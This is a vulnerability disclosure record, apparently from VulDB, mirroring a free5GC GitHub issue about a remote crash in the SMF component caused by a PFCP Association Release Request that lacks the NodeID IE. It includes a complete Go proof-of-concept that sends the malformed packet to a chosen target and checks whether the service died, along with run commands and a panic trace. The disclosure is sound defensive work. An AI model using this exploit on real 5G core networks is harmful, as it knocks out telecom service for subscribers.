| Título | free5gc SMF v4.1.0 Denial of Service |
|---|
| Descripción | ## Bug Decription
free5GC SMF can be crashed remotely via its PFCP UDP endpoint by sending a PFCP Association Release Request that omits the mandatory NodeID IE.
In HandlePfcpAssociationReleaseRequest the handler dereferences pfcpMsg.NodeID without checking whether it is nil:
upf := smf_context.RetrieveUPFNodeByNodeID(*pfcpMsg.NodeID) (handler.go:57)
When the NodeID IE is missing, pfcpMsg.NodeID is nil, causing a nil pointer dereference panic. The PFCP dispatcher runs the handler in a goroutine (go dispatch(msg) in udp.go:71) and does not recover from panics, so the entire SMF process terminates, resulting in a remote denial of service.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// Vuln-PA2-01: SMF Fatal Panic via Missing NodeID in AssociationReleaseRequest
// Target: free5gc SMF
// Impact: Denial of Service - SMF process crash
//
// Vulnerability: The SMF's HandlePfcpAssociationReleaseRequest handler dereferences
// pfcpMsg.NodeID without checking if it's nil (handler.go:57). When a PFCP
// AssociationReleaseRequest is sent without the NodeID IE, this causes a nil
// pointer dereference panic. The handler is dispatched via `go dispatch(msg)`
// (udp.go:71) without panic recovery, causing the entire SMF process to crash.
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
// PFCP message type constants
const (
MsgTypeAssociationReleaseRequest = 9
)
// buildRawAssociationReleaseRequest creates a raw PFCP AssociationReleaseRequest
// message WITHOUT the NodeID IE to trigger nil pointer dereference in SMF
func buildRawAssociationReleaseRequest(seq uint32) []byte {
// PFCP Header (8 bytes for node-related messages)
// Version (1) | Spare (0) | MP (0) | S (0)
header := []byte{
0x20, // Version=1, Spare=0, MP=0, S=0
MsgTypeAssociationReleaseRequest, // Message Type = 9
0x00, 0x04, // Message Length = 4 (header only, no IEs)
0x00, 0x00, 0x00, 0x00, // Sequence Number (will be set)
}
// Set sequence number (bytes 4-6 are sequence, byte 7 is spare)
header[4] = byte(seq >> 16)
header[5] = byte(seq >> 8)
header[6] = byte(seq)
header[7] = 0x00 // Spare/Priority
return header
}
func main() {
// Command line arguments
targetIP := flag.String("target", "127.0.0.1", "Target SMF IP address")
targetPort := flag.Int("port", 8805, "Target SMF PFCP port")
flag.Parse()
targetAddr := fmt.Sprintf("%s:%d", *targetIP, *targetPort)
log.Printf("[*] Vuln-PA1-02: SMF Fatal Panic PoC")
log.Printf("[*] Target: %s", targetAddr)
log.Printf("[*] Attack: AssociationReleaseRequest without NodeID IE")
// Resolve target address
raddr, err := net.ResolveUDPAddr("udp", targetAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve target address: %v", err)
}
// Create UDP connection
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
log.Fatalf("[-] Failed to create UDP connection: %v", err)
}
defer conn.Close()
// Build raw AssociationReleaseRequest WITHOUT NodeID IE
// This will cause nil pointer dereference in handler.go:57:
// upf := smf_context.RetrieveUPFNodeByNodeID(*pfcpMsg.NodeID)
//
// The handler is dispatched via `go dispatch(msg)` without panic recovery,
// causing the SMF process to crash.
payload := buildRawAssociationReleaseRequest(1)
log.Printf("[*] Sending malicious AssociationReleaseRequest (no NodeID)...")
log.Printf("[*] Message length: %d bytes", len(payload))
log.Printf("[*] Raw bytes: %x", payload)
// Send the malicious message
_, err = conn.Write(payload)
if err != nil {
log.Fatalf("[-] Failed to send message: %v", err)
}
log.Printf("[+] Message sent successfully")
log.Printf("[*] Waiting for crash propagation...")
// Wait for crash to propagate
time.Sleep(2 * time.Second)
// Try to send another message to verify if SMF is still alive
log.Printf("[*] Sending probe message to check if SMF is still responsive...")
probeReq := message.NewHeartbeatRequest(
2, // Sequence Number
ie.NewRecoveryTimeStamp(time.Now()),
nil, // SourceIPAddress (optional)
)
probePayload, _ := probeReq.Marshal()
conn.SetReadDeadline(time.Now().Add(3 * time.Second))
_, err = conn.Write(probePayload)
if err != nil {
log.Printf("[+] SMF appears to be down (write error: %v)", err)
return
}
// Try to read response
buf := make([]byte, 1024)
_, err = conn.Read(buf)
if err != nil {
log.Printf("[+] SMF appears to be down (no response to heartbeat)")
log.Printf("[+] VULNERABILITY CONFIRMED: SMF crashed due to nil pointer dereference")
} else {
log.Printf("[-] SMF is still responding - vulnerability may not have triggered")
log.Printf("[-] Check SMF logs for panic messages")
}
}
// Ensure binary package is used
var _ = binary.BigEndian
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SMF address: `go run main.go -target 10.100.200.6 -port 8805`
## Expected Behavior
SMF should validate the presence of NodeID in AssociationReleaseRequest.
If NodeID is missing/invalid, SMF should reject the message gracefully (e.g., send an error response or ignore it) and continue running.
PFCP handling goroutines should not be able to crash the whole SMF process (panic recovery / error handling).
## Screenshots
<img width="884" height="226" alt="Image" src="https://github.com/user-attachments/assets/8ba2ba07-1aff-4cd6-a37d-43703fc4b2a7" />
## Environment
- free5GC Version: v4.1.0
- OS: Ubuntu 22.04 Server
- Kernel version: [e.g. 5.15.0-0-generic]
- go version: go version go1.24.9 linux/amd64
## Trace Files
### Configuration Files
Provide the configuration files.
If you are unsure of what to do, please zip free5gc's `config` folder and upload it here.
### PCAP File
Dump the relevant packets and provide the PCAP file.
If you are unsure of what to do, use the following command before reproducing the bug: `sudo tcpdump -i any -w free5gc.pcap`. Then, please upload the `free5gc.pcap` file here.
### Log File
2026-01-14T06:57:20.264653484Z [INFO][SMF][PFCP] Pfcp running... [2026-01-14 06:57:20.264628955 +0000 UTC m=+2.064864521]
2026-01-14T06:57:21.266551040Z [INFO][SMF][Main] Sending PFCP Association Request to UPF[10.100.200.2]
2026-01-14T06:57:21.309058817Z [INFO][SMF][Main] Received PFCP Association Setup Accepted Response from UPF[10.100.200.2]
2026-01-14T06:57:21.309081351Z [INFO][SMF][Main] UPF(10.100.200.2) setup association
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0xd15158]
goroutine 50 [running]:
github.com/free5gc/smf/internal/pfcp/handler.HandlePfcpAssociationReleaseRequest(0xc0003f8f10)
/go/src/free5gc/NFs/smf/internal/pfcp/handler/handler.go:57 +0x38
github.com/free5gc/smf/internal/pfcp.Dispatch(0xc0003903c0?)
/go/src/free5gc/NFs/smf/internal/pfcp/dispatcher.go:21 +0x125
created by github.com/free5gc/smf/internal/pfcp/udp.Run.func2 in goroutine 49
/go/src/free5gc/NFs/smf/internal/pfcp/udp/udp.go:71 +0x127
|
|---|
| Fuente | ⚠️ https://github.com/free5gc/free5gc/issues/794 |
|---|
| Usuario | ZiyuLin (UID 93568) |
|---|
| Sumisión | 2026-01-15 02:21 (hace 3 meses) |
|---|
| Moderación | 2026-01-30 08:35 (15 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 343475 [Free5GC SMF hasta 4.1.0 PFCP UDP Endpoint handler.go HandlePfcpAssociationReleaseRequest denegación de servicio] |
|---|
| Puntos | 20 |
|---|